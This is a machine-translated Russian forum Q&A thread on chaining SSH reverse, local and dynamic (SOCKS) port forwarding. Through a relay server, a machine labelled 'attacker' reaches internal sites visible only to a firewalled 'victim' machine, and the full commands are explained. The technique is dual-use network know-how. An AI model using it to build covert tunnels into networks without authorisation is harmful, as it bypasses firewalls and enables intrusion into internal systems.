Обратный туннель SSH с носками

721
Iz0r

Моя ситуация выглядит следующим образом:

  • Работа Mac за брандмауэром, названным «Жертва». (Высокая Сьерра 10.13.3)
  • Ubuntu VHS в сети, называемая «сервер». У которого ssh работает на порте 2222. (Ubuntu 16.04)
  • другой Mac, также защищенный брандмауэром, называется «злоумышленник». (Высокая Сьерра 10.13.3)

Я хочу использовать носки для посещения внутренних веб-сайтов, доступных только «жертве».

Когда я перехожу ssh -R 5555:localhost:22 serv@server.com -P 2222из «жертвы» и ssh в «сервер» от злоумышленника и запускаю ssh victim@localhost -p 5555, я имею доступ к оболочке от злоумышленника к жертве.

Чего мне нужно добиться, так это использовать носки для посещения сайтов, доступных только «жертве».

Я понимаю, что должен настроить обратный туннель от жертвы к серверу и настроить переадресацию на сервер с входящего порта на порт обратного соединения, а также настроить переадресацию на злоумышленнике с локального хоста на удаленный (который подключается к серверу), но как это сделать? Я сделаю это?

Когда я настраиваю socks непосредственно от атакующего к серверу, я просто запускаю ssh -D 8080 serv@server.com -p 2222и настраиваю прокси socks v5 localhost: 8080 в Firefox, но я не понимаю, как выставить форварда на сервере ...

Кто-нибудь может мне это объяснить? Спасибо

0

1 ответ на вопрос

1
iz0r

Очевидно, никто не может ответить на этот вопрос, это нормально, потому что я сам нашел ответ.

Вот ответы:

  • На жертве :ssh -N -f -R 5555:localhost:22 -p <port_of_serv> <ip_of_serv>
  • На злоумышленника № 1:ssh (-N -f) -L 4444:localhost:5555 -p <port_of_serv> <ip_of_serv>
  • На злоумышленника № 2:ssh -p 4444 -D localhost:3333 user_on_victim@localhost
  • На атакующем № 3: в Firefox или irc, или даже для общих сетевых настроек: Настройки прокси Socks (v5): 127.0.0.1 порт 3333

Каждое приложение, для которого вы настроили хост localhost с портом 3333, будет туннелироваться через serv к жертве, и когда вы посетите что-то вроде http://myip.com, вы увидите ip / host жертвы. С этого момента вы даже можете использовать приложения с графическим интерфейсом на атакующем (если вы устанавливаете параметры socks для конкретного приложения или для системы в целом), которые будут транслироваться через serv к жертве, и вы будете действовать как жертва как таковая.

Ошибка, которую я допустил в своем мыслительном процессе, заключалась в том, что я не совсем понял, как выглядит схема обратного порта, я попытаюсь объяснить ее простыми словами.

Жертва действия

ssh -N -f -R 5555:localhost:22 -p <port_of_serv> <ip_of_serv> 
  • -N = Я не собираюсь запускать команды в оболочке
  • -f = поставить процесс в фоновом режиме (чтобы вы могли закрыть окно терминала)
  • -R = обратный туннель
  • 5555:localhost:22= 5555 - это порт, на котором сервер внутренне прослушивает передачу данных на порт 22 жертвы . Если вы настроили жертву на запуск ssh на порту 2222, вам следует изменить 22 на 2222.
  • -p= порт, на котором работает ssh на serv .

1-я атака

ssh (-N -f) -L 4444:localhost:5555 -p <port_of_serv> <ip_of_serv>` 

Первая команда, которую вы делаете для атакующего ( -L 4444:localhost:5555), настроит туннель так, чтобы ваше соединение с третьей командой было туннелировано прямо через жертву . (Это только для динамической переадресации портов / приложений Socks)

Если вы просто хотите иметь доступ к оболочке для жертвы вместо этой команды, просто введите ssh в команду serv & затем выполните команду: 'ssh user_on_victim @ localhost -p 5555'.

Но нам не нужен доступ к оболочке, мы хотим туннелировать все данные динамически, поэтому нам нужно сделать переадресацию портов.

Или схематическое объяснение

  • -L= локальная переадресация портов (на серв )
  • - 4444:localhost:5555 поместите все данные, поступающие на порт 4444 на порт 5555.

2-я атака

Вторая команда, которую вы делаете на атакующего

ssh -p 4444 -D localhost: 3333 user_on_victim @ localhost

это фактическая команда, которая собирается инициализировать соединение через 2 туннеля. Что вы делаете, вы говорите: подключитесь к порту 4444 и поместите все данные, которые поступают на (локальный порт 3333) на 4444. (который будет локально проходить через серв на порт 5555 ->, который будет вытолкнут на порт 22 на жертве .

Или схематическое объяснение

  • -D = Динамическая пересылка
  • localhost:3333 = прослушивать порт 3333 и передавать данные через соединение ssh на порт 4444 серв.
  • -p 4444= порт, на котором слушает сервер serv для передачи данных на порт 5555, а затем на порт 22 жертвы .

3-я атака

Настройте свои приложения или даже всю систему на использование прокси-сервера SOCKS (v5) по адресу: localhost port: 3333. Неважно, на каких портах эти приложения работают нормально, так как он будет обрабатываться прокси-сервером. Теоретически, каждое приложение может работать через посредство прокси динамического переноса через socks. Вам нужно только настроить его. :)

Третье действие против злоумышленника - это фактические данные, которые вы собираетесь направить в жертву . Неважно, что это за данные или приложение, поэтому это динамическая переадресация, не имеет значения, на каких портах запускается это приложение, потому что они будут обрабатываться SOCKS.

Я надеюсь, что кто-то найдет применение в моем объяснении.

Хорошего дня....

Потрясающие! Обязательно отметьте этот ответ как решение вашей проблемы, чтобы другие знали, что он работает для вас. jpaugh 6 лет назад 0

Похожие вопросы